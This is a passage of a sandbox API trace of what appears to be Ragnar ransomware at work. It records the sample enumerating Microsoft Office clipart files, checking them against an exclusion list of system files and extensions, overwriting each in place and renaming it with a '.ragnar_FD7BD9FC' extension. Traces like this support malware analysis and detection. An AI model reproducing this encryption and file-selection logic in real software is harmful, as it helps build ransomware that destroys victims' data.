nNumberOfBytesToWrite=0x2b0e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2b0e, lpOverlapped=0x0) returned 1 [0087.558] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b0e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.558] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.559] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b0e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.559] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.559] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.559] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.559] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.559] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.559] GetProcessHeap () returned 0x580000 [0087.559] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.559] CloseHandle (hObject=0xf4) returned 1 [0087.559] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" [0087.559] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.ragnar_FD7BD9FC" [0087.559] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.560] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab7300, ftCreationTime.dwHighDateTime=0x1bf4a6c, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ab7300, ftLastWriteTime.dwHighDateTime=0x1bf4a6c, nFileSizeHigh=0x0, nFileSizeLow=0x2ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301052.WMF", cAlternateFileName="")) returned 1 [0087.560] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.560] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0301052.WMF" | out: lpString1="J0301052.WMF") returned="J0301052.WMF" [0087.560] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF") returned=".WMF" [0087.560] lstrcmpiW (lpString1="J0301052.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.560] lstrcmpiW (lpString1="J0301052.WMF", lpString2="autorun.inf") returned 1 [0087.560] lstrcmpiW (lpString1="J0301052.WMF", lpString2="boot.ini") returned 1 [0087.560] lstrcmpiW (lpString1="J0301052.WMF", lpString2="bootfont.bin") returned 1 [0087.560] lstrcmpiW (lpString1="J0301052.WMF", lpString2="bootsect.bak") returned 1 [0087.560] lstrcmpiW (lpString1="J0301052.WMF", lpString2="bootmgr") returned 1 [0087.560] lstrcmpiW (lpString1="J0301052.WMF", lpString2="bootmgr.efi") returned 1 [0087.560] lstrcmpiW (lpString1="J0301052.WMF", lpString2="bootmgfw.efi") returned 1 [0087.560] lstrcmpiW (lpString1="J0301052.WMF", lpString2="desktop.ini") returned 1 [0087.560] lstrcmpiW (lpString1="J0301052.WMF", lpString2="iconcache.db") returned 1 [0087.560] lstrcmpiW (lpString1="J0301052.WMF", lpString2="ntldr") returned -1 [0087.560] lstrcmpiW (lpString1="J0301052.WMF", lpString2="ntuser.dat") returned -1 [0087.560] lstrcmpiW (lpString1="J0301052.WMF", lpString2="ntuser.dat.log") returned -1 [0087.560] lstrcmpiW (lpString1="J0301052.WMF", lpString2="ntuser.ini") returned -1 [0087.560] lstrcmpiW (lpString1="J0301052.WMF", lpString2="thumbs.db") returned -1 [0087.560] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.560] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.560] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.560] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.561] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.561] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.561] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf")) returned 0x20 [0087.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.562] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10984) returned 1 [0087.562] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2adf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.562] GetProcessHeap () returned 0x580000 [0087.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.562] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.563] VirtualAlloc (lpAddress=0x0, dwSize=0x2ae8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.563] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.563] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.563] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2ae8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2ae8, lpOverlapped=0x0) returned 1 [0087.564] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.564] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ae8, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.565] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2ae8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2ae8, lpOverlapped=0x0) returned 1 [0087.565] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ae8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.565] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.565] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2ae8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.565] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.565] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.565] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.565] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.565] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.565] GetProcessHeap () returned 0x580000 [0087.565] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.565] CloseHandle (hObject=0xf4) returned 1 [0087.565] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" [0087.566] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.ragnar_FD7BD9FC" [0087.566] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.566] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301418.WMF", cAlternateFileName="")) returned 1 [0087.566] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.566] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0301418.WMF" | out: lpString1="J0301418.WMF") returned="J0301418.WMF" [0087.566] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF") returned=".WMF" [0087.566] lstrcmpiW (lpString1="J0301418.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.566] lstrcmpiW (lpString1="J0301418.WMF", lpString2="autorun.inf") returned 1 [0087.566] lstrcmpiW (lpString1="J0301418.WMF", lpString2="boot.ini") returned 1 [0087.566] lstrcmpiW (lpString1="J0301418.WMF", lpString2="bootfont.bin") returned 1 [0087.566] lstrcmpiW (lpString1="J0301418.WMF", lpString2="bootsect.bak") returned 1 [0087.566] lstrcmpiW (lpString1="J0301418.WMF", lpString2="bootmgr") returned 1 [0087.566] lstrcmpiW (lpString1="J0301418.WMF", lpString2="bootmgr.efi") returned 1 [0087.567] lstrcmpiW (lpString1="J0301418.WMF", lpString2="bootmgfw.efi") returned 1 [0087.567] lstrcmpiW (lpString1="J0301418.WMF", lpString2="desktop.ini") returned 1 [0087.567] lstrcmpiW (lpString1="J0301418.WMF", lpString2="iconcache.db") returned 1 [0087.567] lstrcmpiW (lpString1="J0301418.WMF", lpString2="ntldr") returned -1 [0087.567] lstrcmpiW (lpString1="J0301418.WMF", lpString2="ntuser.dat") returned -1 [0087.567] lstrcmpiW (lpString1="J0301418.WMF", lpString2="ntuser.dat.log") returned -1 [0087.567] lstrcmpiW (lpString1="J0301418.WMF", lpString2="ntuser.ini") returned -1 [0087.567] lstrcmpiW (lpString1="J0301418.WMF", lpString2="thumbs.db") returned -1 [0087.567] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.567] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.567] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.567] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.567] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.567] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.567] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf")) returned 0x20 [0087.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.568] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19034) returned 1 [0087.568] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4a51, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.568] GetProcessHeap () returned 0x580000 [0087.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.568] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.570] VirtualAlloc (lpAddress=0x0, dwSize=0x4a5a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.570] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4a5a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4a5a, lpOverlapped=0x0) returned 1 [0087.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.571] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4a5a, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.571] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4a5a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4a5a, lpOverlapped=0x0) returned 1 [0087.571] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4a5a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.571] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.572] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4a5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.572] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.572] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.572] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.572] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.572] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.572] GetProcessHeap () returned 0x580000 [0087.572] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.572] CloseHandle (hObject=0xf4) returned 1 [0087.572] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" [0087.572] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.ragnar_FD7BD9FC" [0087.572] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.573] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301432.WMF", cAlternateFileName="")) returned 1 [0087.573] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.573] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0301432.WMF" | out: lpString1="J0301432.WMF") returned="J0301432.WMF" [0087.573] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF") returned=".WMF" [0087.573] lstrcmpiW (lpString1="J0301432.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.573] lstrcmpiW (lpString1="J0301432.WMF", lpString2="autorun.inf") returned 1 [0087.573] lstrcmpiW (lpString1="J0301432.WMF", lpString2="boot.ini") returned 1 [0087.573] lstrcmpiW (lpString1="J0301432.WMF", lpString2="bootfont.bin") returned 1 [0087.573] lstrcmpiW (lpString1="J0301432.WMF", lpString2="bootsect.bak") returned 1 [0087.573] lstrcmpiW (lpString1="J0301432.WMF", lpString2="bootmgr") returned 1 [0087.573] lstrcmpiW (lpString1="J0301432.WMF", lpString2="bootmgr.efi") returned 1 [0087.573] lstrcmpiW (lpString1="J0301432.WMF", lpString2="bootmgfw.efi") returned 1 [0087.573] lstrcmpiW (lpString1="J0301432.WMF", lpString2="desktop.ini") returned 1 [0087.573] lstrcmpiW (lpString1="J0301432.WMF", lpString2="iconcache.db") returned 1 [0087.573] lstrcmpiW (lpString1="J0301432.WMF", lpString2="ntldr") returned -1 [0087.573] lstrcmpiW (lpString1="J0301432.WMF", lpString2="ntuser.dat") returned -1 [0087.573] lstrcmpiW (lpString1="J0301432.WMF", lpString2="ntuser.dat.log") returned -1 [0087.573] lstrcmpiW (lpString1="J0301432.WMF", lpString2="ntuser.ini") returned -1 [0087.573] lstrcmpiW (lpString1="J0301432.WMF", lpString2="thumbs.db") returned -1 [0087.574] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.574] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.574] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.574] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.574] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.574] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.574] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf")) returned 0x20 [0087.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.574] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19962) returned 1 [0087.574] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4df1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.574] GetProcessHeap () returned 0x580000 [0087.574] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.574] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.576] VirtualAlloc (lpAddress=0x0, dwSize=0x4dfa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.576] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.576] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.576] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4dfa, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4dfa, lpOverlapped=0x0) returned 1 [0087.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.578] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4dfa, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.578] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4dfa, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4dfa, lpOverlapped=0x0) returned 1 [0087.578] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4dfa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.578] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.578] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4dfa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.578] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.578] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: 